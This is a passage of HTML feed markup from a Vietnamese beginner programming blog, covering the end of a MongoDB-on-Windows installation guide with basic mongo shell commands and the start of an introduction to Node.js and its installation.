peFMVsNksfsOrCc7yi6fphkyXPLvaOqLOvwkdyAlheUcWR6DgO0W63RVEaDoccxw0GQ54XBEHgeZ7jOIameyzLfCKvdxtXu41244huHHHdLsUwDNNjWfYHuM9MKxry5H0AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Nhấn Install để bắt đầu cài đặt" title="Nhấn Install để bắt đầu cài đặt" src="/static/f002c2902e7820edeb06fe8b1398bef6/98235/install-7-1.png" srcset="/static/f002c2902e7820edeb06fe8b1398bef6/103f2/install-7-1.png 165w, /static/f002c2902e7820edeb06fe8b1398bef6/748ba/install-7-1.png 330w, /static/f002c2902e7820edeb06fe8b1398bef6/98235/install-7-1.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Bây giờ, bạn có thể <strong>đứng dậy đi WC</strong> hay <strong>uống một cốc nước</strong> cho tỉnh táo. Đợi vài phút sau quay lại thì MongoDB sẽ cài đặt xong (nếu bạn lựa chọn cài đặt cả MongoDB Compass thì sẽ phải đợi khá lâu đó nhé - ráng đợi).</p> <p>Và cuối cùng là nhấn <strong>Finish</strong> để kết thúc.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 509px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 78.18181818181817%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAIAAACZeshMAAAACXBIWXMAAAsTAAALEwEAmpwYAAADFUlEQVQoz42Qe0hTURzHLxSYWBoUVH9IKBgSPsopkWGZlpnLB77ms1luZmRFhlJ/BeUjNKSHUAr5mqIgpimos8jKaJUbPbZ2vbvbdO51d+6cz93dq/Oe2FSi+iO/fPjy43A+8DsHae/uGR4WDw4Ni0dG+vp6W1vb2js629tFzS0trSJRU0tLQ0Pjo4ePm5qae170DvQPDA2LxSPit/W1b+sqkYrijPK0o7d4J27zosszoq7Eh9aW5plNqIXAAKEym1CzCTUafgKLigS4lVQDQmUhVCSBGXRy5GYi53yQJ/+QT95BT/5hn8yALVUFMQtz+JR2HMck+imZyfDDoPuqwT8b9d9MRjlD6yEkIbTStBkpTzuWH7S98ITvpWuR/PDdvMBt1YIzJKGQSV/Lv7/Tqsc1+OdJjVQpf6/VSFWoRKeVqvEvSwuTjMOIlKVGZgV4XK/mXhu9whMEZfpvrSg8vcIYHfZpmpqmKT3j0DMOwxrUkm6ZNq4umyELaIcBKTkVkhOzp2Tg4uXuvPT6uFSOdwU/ZnFeCwjUakEBgdpIzEZiVjBBEkoSoIvzk5AFkAWUfRopiQnh8Q8IB/nCDl7q84SUFN97udEQAtfDWHf/Zv2QdRIQAmrJLWdcCuT3ZxeI0pMbzyZm+7lkFsBVC3QSrv4H1mlZl6/GhvAy92e/zMhvTkl8Fp/E3VeZe3Kz8vWEsPPhO7OexqV1pSRVH08P9aosiF2/91+5NClCEOx9Icm/+ElqLtcv54BHleD0ZuWy5IjiI7uKj+y9kxVVFLEnP9jrvjDub9lJwJUN/lg7PkgY6ink+Ag4PoVhO7IDkEp+FGQtLlYJ90BA1gqhDcIZV7OAXXX/tn0aqbuR/0CYUFt0rkbIrSni3s072VZ1lXEQjIOgKbNrWLHSeiUtlzDouKttUwwDVhgwN6tDtJNTzLJzyU5RlMO+ht2+uJFZ26x1bh68Gfs0+nFMIvv56v2iQkkuLNisMyRJIjKZTKvVTGATmDs4jqvVatVGUCWqxDDlkFgi6vzQ2S0VdWGST0qVagJFFQrFL/04wKJl2m9MAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cài đặt kết thúc" title="Cài đặt kết thúc" src="/static/714538693dbd8236754bba118fae9256/98235/install-8.png" srcset="/static/714538693dbd8236754bba118fae9256/103f2/install-8.png 165w, /static/714538693dbd8236754bba118fae9256/748ba/install-8.png 330w, /static/714538693dbd8236754bba118fae9256/98235/install-8.png 509w" sizes="(max-width: 509px) 100vw, 509px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <h3 id="kiểm-tra-cài-đặt-thành-công" style="position:relative;"><a href="#ki%E1%BB%83m-tra-c%C3%A0i-%C4%91%E1%BA%B7t-th%C3%A0nh-c%C3%B4ng" aria-label="kiểm tra cài đặt thành công permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra cài đặt thành công</h3> <p>Tương như như bài viết về <a href="/huong-dan-tim-hieu-node-js-co-ban/">hướng dẫn tìm hiểu Node.js cơ bản</a>, mình cũng cần phải kiểm tra xem việc cài đặt MongoDB đã thực sự thành công hay chưa.</p> <p>Như phần trên, mình đã chọn <strong>cài đặt MongoDB như một service</strong> rồi. Nên bây giờ mình sẽ xem thử nó đã chạy hay chưa bằng cách mở <strong>Windows Task Manager</strong> và chọn tab <strong>Services</strong> (<em>tham khảo thêm bài viết <a href="https://ictnews.vn/the-gioi-so/thu-thuat/6-cach-de-mo-windows-task-manager-97595.ict">6 cách để mở Windows Task Manager)</a></em>.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 465px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 98.7878787878788%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADtklEQVQ4y4VT23LbNhDlz/e5fUvqZNKp28aWldhOYjtV7Nh1m2iaWr5IIgmBIMX7RQBB8E5RJIUO7b73PGAGu4tzsAcL4e3xm5Ozk7Oz00/n56PRx7eHR8fHxz/v7j5//mxn58cXL3Zevnzx6qdXu7u7g4ODD+/fn40+/T4cfPnhuz+ffS9cXX+dztCX8eTmVrq5kyYP4PJyfHMnT0VNBLoIjLncr+LCkBYGUGwZWgBaEDkzEQnfvk0eptLNzb0kqw8P0mwONM0yLc8wvdl8IcnKAi5FSZlLECyWEkC+TyhNGMts2xNkWXZdz7Ks1Qq7jmtbVlmWVVXFLLZ7WL4f2JZtWbbn+Y7jZGlalT183xccx03SzLTcTdPW9WbTtGVZGYZdVTUhVFU1zws2m7beNE3TbpqmWtdluaaUrTARTNOkYSQDmGU553y73bZti1e4aTs/wCpSdcNU1aW+1IuibHqGrm3bNE2DYCUAAJI4mc9FAGDg+0mScs4ZY1vOSUhVpKqqBiFcassn9ieBLMsM0xREUYyTTFFQmmVpmlXr9XbL86LYco4JRUjVVA0h5Ll+xBjGZNO0fUGWm6YpSJKcJSlcgKostl3bNZueu+s455SQpaYa+lKBi5CQPI1ZRLvHFMZYNwwBLha6jT//Nflj/DCZa7ei7pD82z1ww1JU7Kuvd+OJ+PedfCvpM2jfy4ZDCp+twzDqlQEAth+OLsey5uCkJukmiCrdCQNWiYp1Pb4b38z+eVjguMbxOogqB6ceLdIs75VlGZR5JouSZZoEr9q25ZyHBLdNE4UhUhRNU1WEbNMwDYMSgldBnmVFXiyXet9znhezmRgEmHPedV237f3knLuuDyFEClpARZJkSZKjiJVVxXlvmKbrvXKappIkIaQ9JbbbbV3XnPMgwBAiy7KQgkzTNnS9N8gwCSFJHOumKchgkWXZdDrrRy1OkjTtuo6GtGlaGkbT6QxjkmVpHMeMxSxiMYvTR5imJUCoxHHcXw+pioIUpAbBipCQMebYjqKoCGmapjmO67peEASrFSaYJMl/h2Fd15TSMKSURpTS1Yp4nt8XkT5EQxpFrKrWaZr5fuC6nuf1A9M/FYTwqU/+f8jzAgAwmdzKMgiCwDAMYT6b52kWPWoURRGSMHrUj1myXq+TJInCfs9oFLM4ZnHTNJvHL+a5rrC/tzccHAyHw3fHxxcXF++OjgavX//2y68nH06uLi8/np4O9gf7g+He3v7b4Zujw8OL8/PLz5+vr69Ho9G/49kj9wntXU0AAAAASUVORK5CYII='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Kiểm tra MongoDB trong Services" title="Kiểm tra MongoDB trong Services" src="/static/29ccf686e0fac2e82c737d1b84f2f348/ad78b/check.png" srcset="/static/29ccf686e0fac2e82c737d1b84f2f348/103f2/check.png 165w, /static/29ccf686e0fac2e82c737d1b84f2f348/748ba/check.png 330w, /static/29ccf686e0fac2e82c737d1b84f2f348/ad78b/check.png 465w" sizes="(max-width: 465px) 100vw, 465px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Nếu bạn tìm thấy MongoDB xuất hiện trong phần này nghĩa là việc cài đặt đã hoàn toàn thành công rồi.</p> <h2 id="tương-tác-với-mongodb-thông-qua-cmd" style="position:relative;"><a href="#t%C6%B0%C6%A1ng-t%C3%A1c-v%E1%BB%9Bi-mongodb-th%C3%B4ng-qua-cmd" aria-label="tương tác với mongodb thông qua cmd permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tương tác với MongoDB thông qua CMD</h2> <h3 id="cài-đặt-biến-môi-trường" style="position:relative;"><a href="#c%C3%A0i-%C4%91%E1%BA%B7t-bi%E1%BA%BFn-m%C3%B4i-tr%C6%B0%E1%BB%9Dng" aria-label="cài đặt biến môi trường permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cài đặt biến môi trường</h3> <p>Trước tiên bạn cần phải tìm đến vị trí thư mục cài đặt MongoDB.</p> <p>Mặc định, vị trí đó là: <strong>C:\Program Files\MongoDB\Server\4.0\bin</strong></p> <p>Nếu nhìn vào thư mục đó, bạn sẽ thấy file <strong>mongo.exe</strong>. Đây chính là chương trình dùng để tương tác với MongoDB thông qua <a href="/cac-cau-lenh-thuong-dung-tren-cmd-windows/">CMD</a>.</p> <p>Để biết cách cài đặt biến môi trường, bạn có thể tham khảo thêm tại bài viết <a href="/huong-dan-tim-hieu-ffmpeg-co-ban/#Cai_dat_phan_mem">hướng dẫn tìm hiểu FFmpeg cơ bản</a> để biết thêm chi tiết.</p> <h3 id="các-câu-lệnh-cơ-bản" style="position:relative;"><a href="#c%C3%A1c-c%C3%A2u-l%E1%BB%87nh-c%C6%A1-b%E1%BA%A3n" aria-label="các câu lệnh cơ bản permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các câu lệnh cơ bản</h3> <p>Đầu tiên bạn mở <strong>CMD</strong> lên và gõ <a href="/tag/command-line/">câu lệnh</a>:</p> <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">mongo</code></pre></div> <p>Nếu không có lỗi gì xảy ra thì lúc này bạn có thể bắt đầu gõ câu lệnh cơ bản của MongoDB được rồi.</p> <p>Ví dụ:</p> <ul> <li><code>show dbs</code>: dùng để hiển thị danh sách các database đang tồn tại. Mặc định ban đầu sẽ có 3 database của hệ thống là: <strong>admin, config</strong> và <strong>local</strong>.</li> <li><code>db</code>: hiển thị danh sách database đang sử dụng. Vì bạn chưa có database nào nên mặc định database mặc định cho bạn sẽ là <strong>test</strong>.</li> <li><code>use DATABASE_NAME</code>: chuyển sang sử dụng database với tên là DATABASE_NAME (tên này tùy bạn chọn).</li> <li><code>db.dropDatabase()</code>: dùng để xóa database hiện tại</li> <li><a href="https://docs.mongodb.com/manual/reference/method/db.createCollection/"><code>db.createCollection(name, options)</code></a>: dùng để tạo mới một <strong>Collection</strong> trong MongoDB (cái này tương tự như <strong>Table</strong> trong MySQL).</li> <li><code>show collections</code>: hiển thị các collection đang tồn tại</li> <li><code>db.COLLECTION_NAME.insert(document)</code>: thêm mới một <strong>Document</strong> vào MongoDB (cái này tương như như <strong>Row</strong> trong MySQL)</li> <li><code>db.COLLECTION_NAME.save(document)</code>: thêm mới hoặc cập nhật một document trong collection</li> <li>...</li> </ul> <p>Còn rất nhiều phương thức khác nữa mà mình không thể kể hết tại đây. Để biết thêm chi tiết bạn có thể theo dõi tại <a href="https://docs.mongodb.com/manual/reference/method/">trang chủ</a>.</p> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách cài đặt MongoDB trên Windows mới nhất năm 2018. Nếu trong quá trình cài đặt mà bạn gặp lỗi thì có thể hỏi bằng cách để lại bình luận phía dưới.</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Hướng dẫn tìm hiểu Node.js cơ bản]]><![CDATA[Có lẽ tại thời điểm này thì bạn cũng không còn xa lạ gì với Node.js nữa rồi. Nhờ có Node.js mà JavaScript có thể chạy được trong môi trường server. Do đó, bạn chỉ cần biết…]]>https://completejavascript.com/huong-dan-tim-hieu-node-js-co-ban/https://completejavascript.com/huong-dan-tim-hieu-node-js-co-ban/<![CDATA[Node.js]]>Fri, 02 Nov 2018 22:30:44 GMT<p>Có lẽ tại thời điểm này thì bạn cũng không còn xa lạ gì với Node.js nữa rồi. Nhờ có Node.js mà JavaScript có thể chạy được trong môi trường server. Do đó, bạn chỉ cần biết JavaScript (và một số thứ nữa) là đã có thể code back-end ngon lành mà không cần phải học thêm PHP, ASP.NET,... Vì vậy, bài viết này mình sẽ giúp bạn tìm hiểu Node.js cơ bản.</p> <p><strong>Mục đích của bài viết:</strong></p> <ul> <li>Tìm hiểu các đặc điểm cơ bản của Node.js</li> <li>Các ứng dụng của Node.js</li> <li>Tải và cài đặt Node.js</li> <li>Viết một server dạng Hello World với Node.js</li> </ul> <p><em>Nếu như bạn đã sẵn sàng để tìm hiểu Node.js cơ bản thì mình bắt đầu nhé!</em></p> <h2 id="các-đặc-điểm-cơ-bản-của-nodejs" style="position:relative;"><a href="#c%C3%A1c-%C4%91%E1%BA%B7c-%C4%91i%E1%BB%83m-c%C6%A1-b%E1%BA%A3n-c%E1%BB%A7a-nodejs" aria-label="các đặc điểm cơ bản của nodejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các đặc điểm cơ bản của Node.js</h2> <h3 id="nodejs-là-gì" style="position:relative;"><a href="#nodejs-l%C3%A0-g%C3%AC" aria-label="nodejs là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Node.js là gì?</h3> <p>Node.js là một môi trường thực thi JavaScript bên ngoài trình duyệt, được xây dựng dựa trên <a href="https://developers.google.com/v8/">Chrome's V8 JavaScript engine</a>.</p> <p><em>Chrome's V8 JavaScript engine được viết bằng C++, giúp biên dịch code JavaScript thành mã máy một cách nhanh chóng.</em></p> <p>Hơn nữa, Node.js là <a href="https://github.com/nodejs/node">mã nguồn mở</a>, miễn phí và có thể chạy trên nhiều nền tảng: Windows, <a href="/tag/ubuntu/">Linux</a>, Unix, Mac OS X, Embedded system,...</p> <h3 id="nodejs-có-khả-năng-xử-lý-bất-đồng-bộ" style="position:relative;"><a href="#nodejs-c%C3%B3-kh%E1%BA%A3-n%C4%83ng-x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99" aria-label="nodejs có khả năng xử lý bất đồng bộ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Node.js có khả năng xử lý bất đồng bộ</h3> <p>Đây là ưu điểm lớn nhất của Node.js so với các nền tảng khác (PHP, ASP,...).</p> <p>Với Node.js, mọi tiến trình <strong>tốn nhiều thời</strong> gian như đọc/ghi file, truy vấn cơ sở dữ liệu, tạo ra nội dung cho trang web động,... đều là <strong>non-blocking</strong>.</p> <p>Nghĩa là bạn chỉ cần gửi request, viết hàm xử lý khi có kết quả, rồi có thể chuyển ngay sang request tiếp theo mà không cần phải chờ đợi.</p> <h3 id="nodejs-chạy-single-threaded" style="position:relative;"><a href="#nodejs-ch%E1%BA%A1y-single-threaded" aria-label="nodejs chạy single threaded permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Node.js chạy single-threaded</h3> <p>Theo mình biết, đối với PHP (Java, ASP.NET,...) mỗi request gửi lên sẽ được đưa vào một thread riêng để thực thi. Điều này dẫn đến tiêu tốn nhiều bộ nhớ.</p> <p>Ngược lại, Node.js lại chạy <strong>single-threaded</strong>. Nghĩa là mỗi request gửi lên sẽ được cho vào một <strong>event-queue</strong>. Node.js sẽ chạy một <strong>vòng lặp</strong> để duyệt event-queue này và <strong>lần lượt xử lý</strong> các request theo <a href="/tag/ajax/">kiểu bất đồng bộ</a>.</p> <p><a href="https://www.linkedin.com/pulse/nodejs-overview-single-threaded-architecture-gaurav-mittal"><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 631px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 70.30303030303031%; position: relative; bottom: 0; left: 0; background-image: url('data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAECBf/EABYBAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAAB3JuMmMX/xAAXEAEAAwAAAAAAAAAAAAAAAAAAAREh/9oACAEBAAEFAtQhTVP/xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAEDAQE/AT//xAAUEQEAAAAAAAAAAAAAAAAAAAAQ/9oACAECAQE/AT//xAAWEAADAAAAAAAAAAAAAAAAAAAQIEH/2gAIAQEABj8CSD//xAAaEAADAAMBAAAAAAAAAAAAAAAAASERMUFR/9oACAEBAAE/IetjUaGVol4CY//aAAwDAQACAAMAAAAQf8//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPxAJ/8QAFxEBAQEBAAAAAAAAAAAAAAAAAQARMf/aAAgBAgEBPxBQ7bf/xAAdEAEAAgICAwAAAAAAAAAAAAABABEhMVFxkbHh/9oACAEBAAE/EN7YXyamorXcRtbuORd4GCT2fIQzXmf/2Q=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="Cách single-threaded chạy" title="Cách single-threaded chạy" src="/static/f0ad544096fc79218379ad480183777d/e79e4/nodejs-overview-single-threaded-architecture-gaurav-mittal.jpg" srcset="/static/f0ad544096fc79218379ad480183777d/e4e7a/nodejs-overview-single-threaded-architecture-gaurav-mittal.jpg 165w, /static/f0ad544096fc79218379ad480183777d/4f5c6/nodejs-overview-single-threaded-architecture-gaurav-mittal.jpg 330w, /static/f0ad544096fc79218379ad480183777d/e79e4/nodejs-overview-single-threaded-architecture-gaurav-mittal.jpg 631w" sizes="(max-width: 631px) 100vw, 631px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></a></p> <p>Chính vì vậy, Node.js sẽ giúp tiết kiệm về bộ nhớ.</p> <p><em>Bạn nghĩ sao về vấn đề này, nếu không ngại thì để lại bình luận chia sẻ quan điểm của mình nhé!</em></p> <h3 id="các-ứng-dụng-của-nodejs" style="position:relative;"><a href="#c%C3%A1c-%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-nodejs" aria-label="các ứng dụng của nodejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các ứng dụng của Node.js</h3> <p>Với những ưu điểm của mình, Node.js thường được sử dụng để:</p> <ul> <li><strong>Phát triển ứng dụng Real-time</strong>: mạng xã hội, chat,...</li> <li><strong>Ứng dụng Single Page Application (SPA)</strong>: bởi những ứng dụng này thường request rất nhiều đến server thông qua AJAX</li> <li><strong>Ứng dụng truy vấn tới NoSQL database</strong> như MongoDB, CouchDB,...</li> <li><strong>Ứng dụng CLI</strong>: đây là các công cụ sử dụng command-line.</li> <li>...</li> </ul> <p><em>Theo bạn thì Node.js có thể dùng để làm gì nữa nhỉ?</em></p> <h2 id="tải-và-cài-đặt-nodejs" style="position:relative;"><a href="#t%E1%BA%A3i-v%C3%A0-c%C3%A0i-%C4%91%E1%BA%B7t-nodejs" aria-label="tải và cài đặt nodejs permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tải và cài đặt Node.js</h2> <p><em>Bài viết này, mình sẽ hướng dẫn bạn cài đặt Node.js trên môi trường Windows (vì máy mình hiện tại chỉ cài Windows 7).</em></p> <h3 id="các-bước-thực-hiện" style="position:relative;"><a href="#c%C3%A1c-b%C6%B0%E1%BB%9Bc-th%E1%BB%B1c-hi%E1%BB%87n" aria-label="các bước thực hiện permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các bước thực hiện</h3> <p>Đầu tiên, bạn tải bản cài đặt Node.js tại <a href="https://nodejs.org/en/">trang chủ</a>. Bạn có thể chọn bản mới nhất. Tuy nhiên, mình sẽ chọn bản LTS (<strong>Long Term Support</strong>). Vì bản này thường sẽ ổn định và khá ít lỗi.</p> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 619px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 38.18181818181819%; position: relative; bottom: 0; left: 0; background-image: 